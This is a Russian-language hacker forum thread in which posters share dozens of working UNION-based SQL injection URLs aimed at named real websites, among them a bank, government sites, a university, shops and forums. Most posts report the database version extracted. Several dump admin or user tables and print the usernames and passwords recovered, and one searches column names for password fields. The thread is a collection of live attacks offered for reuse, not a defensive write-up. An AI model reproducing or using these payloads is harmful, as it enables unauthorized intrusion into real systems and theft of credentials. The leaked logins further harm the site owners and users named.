SQL-инъекции

4.1.15

Код:

http://www.barnabasventures.com/pressview.php?ID=0+union+select+1,2,unhex(hex(version())),4,5,6,7+from+mysql.user--

4.1.22

Код:

http://www.urban-innovations.ca/pressView.php?id=-2+union+select+1,2,3,version()--

Добавлено через 7 часов 0 минут
Для любителей экзотики и знатоков Востока ))
5.0.67

Код:

http://www.dalil905.com/fastlinks.php?catid=0+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5--

5.0.51

Код:

http://www.daleeljo.co.cc/fastlinks.php?catid=0+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5--

5.0.67

Код:

http://www.aseelhost.com/dalil/fastlinks.php?catid=17+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5--

link_adsacc: user,pass
в админке, если найдете, копаться тяжеловато ))

 

изм есть банк

UnHidden Content:

Код:

http://www.calbank.net/newsite/products&services/index.php?id=-5+union+select+1,version(),3,4,5,6,7,8,9--

 

4.1.22

Код:

http://www.management.com.ua/strategy/index.php?type=-1+union+select+1,2,version(),4,5,6,7,8,9,10+from+news--

4.1.22

Код:

http://ukrfoto.dp.ua/download.php?id=0+union+select+1,2,version(),4,5,6+from+news--

 

4.1.22

Код:

http://www.sugarbeet.gov.ua/news.php?id=15'+union+select+1,version(),3/*

 

Пара бесполезных порталов онлайн-казино )
5.0.44-log

Код:

http://www.7casinoonline.com/it/es/id.php?ID=0+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11--

5.0.32-Debian_7etch6-log

Код:

http://www.casino-fr-bonus.com/es/id.php?ID=0+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11--

 

4.0.24_Debian-10sarge2-log

Код:

http://www.accomplishmanagement.co.uk/news.php?id=999999+union+select+1,concat_ws(0x3b,%20user(),database(),version()),3,4,5,6,7/*

Добавлено через 28 минут
4.1.22-standard

Код:

http://www.p-mp.ru/news.php?id=99999+union+select+1,concat_ws(0x3b,%20user(),database(),version()),3,4/*

Добавлено через 33 минуты
4.1.20

Код:

http://www.aspirewny.org/about/news.php?id=12'+union+select+1,2,3,4,concat_ws(0x3b,%20user(),database(),version()),6,7,8/*

Добавлено через 1 час 13 минут
NetSky,++++ за слова "эксперементируй, эксперементируй, и ещё раз эксперементируй...")
Набрал такое _http://www.hamo.es/ing/news.php?id=12+order+by+1/*
Пишет ошибку внизу "Warning: mysql_fetch_array():", подумал что нет уязвимости... Но всё же решил поэксперементировать...
а когда набрал _http://www.hamo.es/ing/news.php?id=12+order+by+10/*
уже две ошибки... Вот таким макаром подобрал кол-во полей
5.0.27-log

Код:

http://www.hamo.es/ing/news.php?id=12+union+select+1,2,3,concat_ws(0x3b,%20user(),database(),version()),5,6,7,8,9/*

Добавлено через 1 час 23 минуты
5.0.51a-community

Код:

http://www.samsport.ie/news.php?id=999999+union+select+1,concat_ws(0x3b,%20user(),database(),version()),3,4,5,6--

Добавлено через 1 час 38 минут

Код:

http://www.thenorthface.com.au/news.php?id=99999'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*

Добавлено через 1 час 41 минуту
5.0.45-standard

Код:

http://www.ewb-usa.org/news.php?ID=9999'+union+select+UserName,Password,3+from+auth_users+limit+1,1/*

Юзаем limit, всего 54 юзверя
Добавлено через 1 час 45 минут
4.1.25-Debian_mt1

Код:

http://www.etc-nepal.org/news.php?id=-999999+union+select+1,concat_ws(0x3b,%20user(),database(),version()),3,4,5,6/*

Добавлено через 2 часа 5 минут
4.1.21

Код:

http://www.rentgensnab.ru/news.php?id=9999999+union+select+1,concat_ws(0x3b,%20user(),database(),version()),3,4/*

Добавлено через 2 часа 16 минут

Код:

http://www.cs.virginia.edu/csnews/news.php?ID=9999999+union+select+1,2/*

Добавлено через 2 часа 27 минут
5.0.41-log

Код:

http://techno.bagus.ru/news/last/news.php?id=99999+union+select+1,2,concat_ws(0x3b,%20user(),database(),version()),4,5,6,7,8,9,10,11,12,13/*

Добавлено через 2 часа 47 минут
5.0.27-standard

Код:

http://www.realityofaid.org/news.php?id=-12+union+select+1,concat_ws(0x3b,%20user(),database(),version()),3,4,5,6/*

Добавлено через 3 часа 27 минут
4.0.26

Код:

http://www.suzuki.gr/cars/news.php?id=9999'+union+select+1,2,3,4,concat_ws(0x3b,%20user(),database(),version()),6,7,8,9,10,11,12/*

Добавлено через 4 часа 51 минуту
4.1.22-standard

Код:

http://server47.dedicatedusa.com/~pamco/new2.php?id=-12+union+select+1,2,concat_ws(0x3b,%20user(),database(),version()),4,5,6/*

Добавлено через 5 часов 7 минут

Код:

http://www.heimlichinstitute.org/page.php?id=9999+union+select+1,2,3,4/*

Добавлено через 5 часов 47 минут
4.1.20

Код:

http://www.ubcmedia.com/pressview.php?ID=-99999+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5/*

Добавлено через 5 часов 53 минуты
а вот и форум попался
5.0.67-community

Код:

http://www.operationsports.com/pressview.php?id=99999+union+select+1,concat_ws(0x3b,%20user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13--

Добавлено через 6 часов 18 минут
4.0.17-nt

Код:

http://www.klangwald.de/main/shop_details.php?id=99999+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4/*

Добавлено через 6 часов 37 минут
4.1.22-standard

Код:

http://www.fergusonhill.co.uk/product_details.php?id=99999+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,version(),user(),database()),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86/*

Добавлено через 6 часов 46 минут
5.0.67-community-nt-

Код:

http://www.adhesivetape.net/product_details.php?id=99999+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4--

Добавлено через 7 часов 7 минут
4.1.12-standard

Код:

http://skytecx.com/product_details.php?id=-9999999+union+select+1,2,3,4,unhex(hex(version())),6,7,8/*

Добавлено через 7 часов 18 минут
5.0.67-community

Код:

http://www.coffeytalk.com/product_details.php?id=-170+union+select+1,2,3,concat_ws(0x3b,%20user(),database(),version()),5,6,7,8--

 

За этот сайтик отдельное спасибо - смотрибельных виртов там десятка три )
А у меня вот такой подарочек:
5.0.67-log

Hidden Content:

**Hidden Content: To see this hidden content your post count must be 10 or greater.**

 

4.1.22

Код:

http://reklama.vladinvest.ru/print_news.php?id=-5+union+select+1,2,concat_ws(0x3b,%20user(),database(),version()),4/*

Добавлено через 7 минут
4.0.27-standard

Код:

http://www.regionalforum.org.uk/news.php?id=-378+union+select+1,2,3,concat_ws(0x3b,%20user(),database(),version()),5,6,7,8,9/*

Добавлено через 50 минут
5.0.41-log

Код:

http://forum.mypuk.ru/news.php?id=-2143+union+select+1,2,3,4,5,6,concat_ws(0x3b,%20user(),database(),version()),8,9/*

Добавлено через 59 минут
5.0.44.3

Код:

http://lingvistschool.kiev.ua/news_ukr.php/news.php/forum/print/print_page_ukr.php?id=99999+union+select+1,concat_ws(0x3b,%20user(),database(),version()),3,4,5,6--

Добавлено через 3 часа 0 минут
5.0.51a-log

Код:

http://www.downtowncrossing.org/shop/shop.php?id=999999+union+select+1,concat(username,0x3a,password),3,4+from+admin+limit+1,1--

login: dca2 pass:kate

Добавлено через 3 часа 30 минут
4.0.18-NT-LOG

Код:

http://www.bfysportsnfitness.com/shop.php?action=view_subcat&maincat_id=-1'+union+select+concat(username,0x3a,password)+from+admin+limit+1,1/*

login:BFY pass:RGM2

Добавлено через 11 часов 17 минут
4.1.22-standardeuroforg

Код:

http://www.euroforgings.com/shop2.php?id=-99999999+union+select+1,concat(database(),0x3b,version(),user()),3,4,5/*

5.0.27

Код:

http://www.biteback.be/support/shop.php?page=browse&cat=99999+union+select+1,version(),3,4,5,6/*

5.0.51a-12~bpo40+1
Заказываем анаболики, гейнеры, протеины, аминокислоты

Код:

http://www.anabolika.com/myaccount/shop_item_detail.php?id=-69+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--

 

4.1.22-log

Код:

http://www.ciritas.ru/product.php?id=-10+union+select+1,2,version(),4,5,6,7,8,9/*

Добавлено через 12 минут
5.0.30-Debian_1-log

Код:

http://www.yusk.ru/cat.php?id=-9999999+union+select+1,2,3,4,version(),6,7/*

з.ы. вывод в самом низу страницы

Добавлено через 26 минут
4.1.20

Код:

http://www.guillembalague.com/interview_desp.php?id=-10+union+select+1,2,concat(version(),0x3b,database()),4,5,6,7,8,9,10,11,12/*

Добавлено через 20 часов 57 минут
4.1.22-log

Код:

http://khersonlis.com.ua/bodynews.php?id=-25+union+select+1,concat(version(),0x3b,database()),3,4,5/*

Добавлено через 21 час 23 минуты
4.1.25-Debian_mt1

Код:

http://www.miraclemileshopslv.com/restaurants.php?id=-25+union+select+1,2,3,concat(version(),0x3b,database()),5,6,7,8,9/*

Добавлено через 22 часа 38 минут
5.0.32-Debian_7etch8-log

Код:

http://astralpole.org/display.php?id=99999+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13/*

Добавлено через 22 часа 45 минут
4.1.12

Код:

http://www.lunarenergy.co.uk/newsDetail.php?id=-12+union+select+1,convert(version()+using+latin1),3,4,5,6,7--

Добавлено через 22 часа 56 минут
4.1.22-standard

Код:

http://www.mauifin.com/fin_info.php?id=-12+union+select+1,version(),3,4,5,6,7--

Добавлено через 23 часа 17 минут
5.0.45

Код:

http://www.reflex.se/products.php?ID=-12+union+select+1,version(),3,4,5,6,7,8/*

 

5.0.51a-community

Код:

http://www.westcomp.ru/pricepos.php?id=-11+union+select+1,2,3,4,concat(email,0x3b,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+USERLIST_TAB+limit+1,1--

 

5.0.58
ща не у себя дома, завтра разберусь поподробнее

Код:

http://mp3db.ru/index.php?cid=9&subcid=-99999+union+select+1,table_name,3,4,5,6,7,8,9,10,11,12+from+information_schema.columns+where+column_name+like+'%pass%'+limit+1,1--

там две таблы: vnx_users, cgd_users

 

Код:

xttp://mp3db.ru/index.php?cid=9&subcid=-99999+union+select+1,2,table_name,4,5,6,7,8,9,10,11,12+from+information_schema.columns+where+column_name+like+'%pass%'+limit+0,10--

Код:

xttp://mp3db.ru/index.php?cid=9&subcid=-99999+union+select+1,2,concat_ws(char(58),login,passwd),4,5,6,7,8,9,10,11,12+from+users+limit+0,5--

3 таблицы, users + те две.
l: user0ff; pass: user0ff123

 

5.0.45

Код:

http://www.snegohod-buran.ru/shop.php?CID=-61+union+select+1,version()--

интересные таблички:
ibf_forums
ibf_admin_login_logs
ibf_members

Добавлено через 7 минут
4.1.21

Код:

http://www.icewarm.com.au/page.php?pId=9990-999+union+select+1,version(),3--

З.Ы. вывод серым цветом чуть ниже media & announcements

 

UnHidden Content:

оф сайт Московской областной Думы

Код:

5.0.51a-community
http://www.mosoblduma.ru/index.php?action=more&pid=1&id=-9999+union+select+1,concat(version(),0x3b,database()),3,4,5--

 

Еще один подарочек поклонникам Востока

Код:

http://www.almenhaj.net/Report.php?linkid=-6878+union+select+1,2,3,4,5,concat_ws(0x3a,version(),user(),database()),7,8,9,10,11,12,13--

А это для любителей "клубнички" (значения - в путях "картинок")

Код:

http://sisisms.com/index.php?page=video&id=0+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10--

Ну и напоследок - забавный инжект, в котором уязвимость не в поле where, а непосредственно в столбце выборки. Правда ничего полезного их этого мне извлечь пока не удалось - поля непечатные.

Код:

http://www.urbadoc.com/index.php?id=15&lang=en'

 

UnHidden Content:

xz Вроде адулт партнерка
^ttp://www.adultmatchbook.com/terms_condition.php?id=-3++union+select+1,version()--[/url]
4-version()

 

UnHidden Content:

Код:

http://www.idei.by/advertisement/28716.html?template=-9999999999+union+select+1,2,3,version(),5

 

Anvil,
Здарова, давно тебя не видно было!)

UnHidden Content:

Код:

http://www.splitreason.com/productdetail.php?id=508+and+0+union+select+1,2,3,concat_ws(0x3a,USER_ID,USERNAME,PASSWORD,AFFILIATE_ID,CREDIT,POINT_TOTAL,SEX,RECOMMEND_SR,GEEK_CLASS,ABOUT_SR,SURVEY_CREDIT_ISSUED),5,6,7,8,9,10,11,12,13,14,15+from+users+limit+0,1--

 

4.1.22

Код:

http://wildpartygames.com/product.php?product_id=999999'+union+select+1,2,version(),4,5,6,7,8,9/*

Добавлено через 28 минут
5.0.45-log

Код:

http://www.lasermax.com/cat_info.php?id=-9999'+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15/*

 

Код:

http://www.pap.org.sg/articleview.php?id=1514&mode=&cid=-23+union+select+1,2,version(),4,5,6,7,8,9/*

4.0.25-standard
PR 5